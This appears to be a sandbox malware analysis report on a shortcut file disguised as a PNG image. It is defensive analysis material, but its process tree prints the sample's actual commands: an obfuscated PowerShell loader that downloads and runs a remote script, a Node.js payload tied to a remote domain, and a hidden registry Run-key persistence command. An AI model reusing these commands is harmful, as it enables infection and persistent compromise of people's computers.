Analysis

  • max time kernel
    298s
  • max time network
    297s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/07/2026, 02:21

General

  • Target
    PHOTO-366969872.png.lnk
  • Size 2KB
  • Sample260720-cs88fae13w
  • SHA256 534aac519a9b9be2098bf2330f77e57db26b6dcde4d11035cc4091e0dda0883a
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://nodejs.org/dist/v26.4.0/node-v26.4.0-win-x64.zip

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\PHOTO-366969872.png.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1840
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c "$AOGyL=[System.Numerics.BigInteger]\"254747336614718164242410228740884121307850552731600\";$drdSi=[System.Numerics.BigInteger]\"91935875567794305012259393984346061680268807764583\";$a1zKR=$AOGyL - $drdSi;for($GJz7Hzy=100+156;$a1zKR -ne 0;$a1zKR=$a1zKR / $GJz7Hzy){$n4DFor8=[int]($a1zKR % $GJz7Hzy);$uPtHfrgl+=[System.Convert]::ToChar($n4DFor8);}; Invoke-WebRequest $uPtHfrgl -OutFile $env:TEMP\q1cAMWP.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\q1cAMWP.ps1"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2404
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -File C:\Users\Admin\AppData\Local\Temp\q1cAMWP.ps1
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3708
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4cp1rtmb\4cp1rtmb.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3888
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6404.tmp" "c:\Users\Admin\AppData\Local\Temp\4cp1rtmb\CSCD35C24C4A75240E99F1FE640A755A524.TMP"
            5⤵
              PID:2084
          • C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
            "C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe" C:\Users\Admin\AppData\Local\Nodejs\xe00EkGf3ChM.js imagestore-vault.info
            4⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious use of WriteProcessMemory
            PID:4812
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -c "(Get-Process | Where-Object { $_.Path -eq \"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\" }).Count"
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3080
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -c "(Get-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"24f2b9f2-7586-4623-9a9f-8f49ab2e2ba2\").\"24f2b9f2-7586-4623-9a9f-8f49ab2e2ba2\""
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1084
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -c "$code = \"require('child_process').spawn(process.execPath, ['C:\\Users\\Admin\\AppData\\Local\\Nodejs\\xe00EkGf3ChM.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()\"; $command = \"\"\"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\"\" -e \"\"$code\"\"\"; Set-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"24f2b9f2-7586-4623-9a9f-8f49ab2e2ba2\" -Value $command"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Adds Run key to start application
              • Suspicious use of AdjustPrivilegeToken
              PID:1316
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -c "(Get-ItemProperty -Path \"HKLM:\SOFTWARE\Microsoft\Cryptography\" -Name \"MachineGuid\").\"MachineGuid\""
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4808
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -c "(Get-ItemProperty -Path \"HKLM:\SOFTWARE\Microsoft\SQMClient\" -Name \"MachineId\").\"MachineId\""
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3576
    • C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
      "C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe" -e "require('child_process').spawn(process.execPath, ['C:\\Users\\Admin\\AppData\\Local\\Nodejs\\xe00EkGf3ChM.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()"
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4608
      • C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
        C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Nodejs\xe00EkGf3ChM.js
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3892
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -c "(Get-Process | Where-Object { $_.Path -eq \"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\" }).Count"
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4540

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 3KB
          • SHA256 bda499e3f69d8fe0227e734bbb935dc5bf0050d37adf03bc41356dfcb5bcca0b
          • MD5 SHA1 SHA512 TLSH

          ModuleAnalysisCache

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
          • Size 53KB
          • SHA256 499efdc3635b176946654a629ede6dd7fc3d573ead094b77d60b60f97cd208c2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 96d36c1dd087fd9f70609b444066e9a9742c53b002641efd7ebd1cb14ef30a6f
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 bd4e2844232f2da642a5dcb4480f999b83dbdfcd2a95758153feca682f850256
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 8f161e4c74eb4ca15c0601ce7a291f3ee1dc0aa46b788181bfe1d33f2b099466
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 4a7b09b39ec2ed4faacca805f125ce77bf2a1fe5b5d76654b8c374b4e01f8200
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
          • MD5 SHA1 SHA512

          LICENSE.md

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@npmcli\map-workspaces\LICENSE.md
          • Size 818B
          • SHA256 733dcbf5b1c95dc765b76db969b998ce0cbb26f01be2e55e7bccd6c7af29cb04
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@npmcli\metavuln-calculator\LICENSE
          • Size 754B
          • SHA256 45e433413760dc3ae8169be5ed9c2c77adc31ad4d1bc5a28939576df240f29a0
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@sigstore\protobuf-specs\LICENSE
          • Size 11KB
          • SHA256 7b0ce3425a26fdba501cb13508af096ade77e4036dd2bd8849031ddecf64f7c9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          fetch.js

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@sigstore\sign\dist\types\fetch.js
          • Size 79B
          • SHA256 ef1f170ad28f2d870a474d2f96ae353d770fff5f20e642cd8f9b6f1d7742df13
          • MD5 SHA1 SHA512 TLSH

          package.json

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\brace-expansion\dist\commonjs\package.json
          • Size 28B
          • SHA256 58b55392b5778941e1e96892a70edc12e2d7bb8541289b237fbddc9926ed51bd
          • MD5 SHA1 SHA512

          package.json

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\brace-expansion\dist\esm\package.json
          • Size 26B
          • SHA256 1bf0e53fc74b05f1aade7451fbac72f1944b067d4229d96bae7a225519a250e4
          • MD5 SHA1 SHA512

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\ignore-walk\LICENSE
          • Size 780B
          • SHA256 3f24d692d165989cd9a00fe35ca15a2bc6859e3361fa42aa20babd435f2e4706
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\libnpmpack\LICENSE
          • Size 730B
          • SHA256 2ef361317adeda98117f14c5110182c28eae233af1f7050c83d4396961d14013
          • MD5 SHA1 SHA512 TLSH

          LICENSE.md

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\lru-cache\LICENSE.md
          • Size 1KB
          • SHA256 865576de51d520f97c8869b9b9f96caf8efd69b82bb6e575fc00b0964dc7a3ca
          • MD5 SHA1 SHA512 TLSH

          index.js

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\lru-cache\dist\commonjs\node\index.js
          • Size 63KB
          • SHA256 67c2ab3772f59cc5bf6d9189d30ccde8c69e3232d73df112c870f97ddcb1cde3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          perf.js

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\lru-cache\dist\commonjs\perf.js
          • Size 387B
          • SHA256 1f9679cef504a1a95194a3bac8568fccdb0a14c5d95d0ec3e218e56f90e04f0e
          • MD5 SHA1 SHA512 TLSH

          index.js

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\lru-cache\dist\esm\node\index.js
          • Size 62KB
          • SHA256 19607b52ac6a5a9188b4fa277713ae83fb51c7ff495e9d4ad590f934d6dc3925
          • MD5 SHA1 SHA512 SSDEEP TLSH

          perf.js

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\lru-cache\dist\esm\perf.js
          • Size 282B
          • SHA256 c8820ab2b15d38202751a9c76b6efe767acbbe89d37fd6f3cc4cc1163cb724b4
          • MD5 SHA1 SHA512 TLSH

          LICENSE.md

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\npm-pick-manifest\LICENSE.md
          • Size 771B
          • SHA256 b49c8d25a8b57fa92b2902d09c4b8a809157ee32fc10d17b7dbb43c4a8038f79
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\promise-all-reject-late\LICENSE
          • Size 763B
          • SHA256 1fccd0ad2e7e0e31ddfadeaf0660d7318947b425324645aa85afd7227cab52d7
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\socks-proxy-agent\LICENSE
          • Size 1KB
          • SHA256 22427a9ca2a0ff9c27dde9e26fe6e940529aee030b342a70b435366af0fcc51b
          • MD5 SHA1 SHA512 TLSH

          license

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\supports-color\license
          • Size 1KB
          • SHA256 fcf1a18be2e25ba82acf2c59821b030d8ee764e4e201db6ef3c51900d385515f
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\treeverse\LICENSE
          • Size 771B
          • SHA256 24b8d53712087b867030d18f2bd6d1a72c78f9fb4dee0ce025374da25e4443b9
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\tuf-js\LICENSE
          • Size 1KB
          • SHA256 6ba2fb4cc004819b1d872168a7ba6ac4a5a07400366680750321058fe21dd36b
          • MD5 SHA1 SHA512 TLSH

          LICENSE.md

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\yallist\LICENSE.md
          • Size 1KB
          • SHA256 a638a0768dbec922fd821d0b6cce6275231c4b57cfcddf584defce530fbfbbf5
          • MD5 SHA1 SHA512 TLSH

          xe00EkGf3ChM.js

          • Path C:\Users\Admin\AppData\Local\Nodejs\xe00EkGf3ChM.js
          • Size 398KB
          • SHA256 2450c9db20d3533e245141f6269d0eb94102047816c1fa3841284c8ed2414d9c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          4cp1rtmb.dll

          • Path C:\Users\Admin\AppData\Local\Temp\4cp1rtmb\4cp1rtmb.dll
          • Size 3KB
          • SHA256 620349dcc87923d2c5c486f302b48a3785c1c8bd90de99dd901ea41b97561e34
          • MD5 SHA1 SHA512 TLSH

          RES6404.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES6404.tmp
          • Size 1KB
          • SHA256 21da64d4c7efbd8508d04806e6c0de216d6192279302f3824a7569d5e6e827f1
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_5wevx331.iyj.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5wevx331.iyj.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          q1cAMWP.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\q1cAMWP.ps1
          • Size 535KB
          • SHA256 555eacc3dddabc6175172441de4bf998a01825f7ea3597f7004e7b1341a8bfa0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          4cp1rtmb.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\4cp1rtmb\4cp1rtmb.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          4cp1rtmb.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\4cp1rtmb\4cp1rtmb.cmdline
          • Size 369B
          • SHA256 1a17f320a7b64459564bc0acbb53b6438a077f0fabcceecab6a91e126b074ff2
          • MD5 SHA1 SHA512 TLSH

          CSCD35C24C4A75240E99F1FE640A755A524.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\4cp1rtmb\CSCD35C24C4A75240E99F1FE640A755A524.TMP
          • Size 652B
          • SHA256 756e5e5bfd5ec27f832feb4c1c650f5a90e95fab5edc5537ecd1f0b1a7f5830a
          • MD5 SHA1 SHA512 TLSH

          memory/2404-3-0x0000021D2B480000-0x0000021D2B490000-memory.dmp

          memory/2404-36-0x0000021D2B480000-0x0000021D2B490000-memory.dmp

          memory/2404-35-0x0000021D2B480000-0x0000021D2B490000-memory.dmp

          memory/2404-12-0x0000021D2B480000-0x0000021D2B490000-memory.dmp

          memory/2404-4-0x0000021D130D0000-0x0000021D130F2000-memory.dmp

          memory/2404-2-0x0000021D2B480000-0x0000021D2B490000-memory.dmp

          memory/3708-40-0x000001AAFE0C0000-0x000001AAFE0CA000-memory.dmp

          memory/3708-34-0x000001AAFB0B0000-0x000001AAFB0B8000-memory.dmp

          memory/3708-39-0x000001AAFE0E0000-0x000001AAFE0F2000-memory.dmp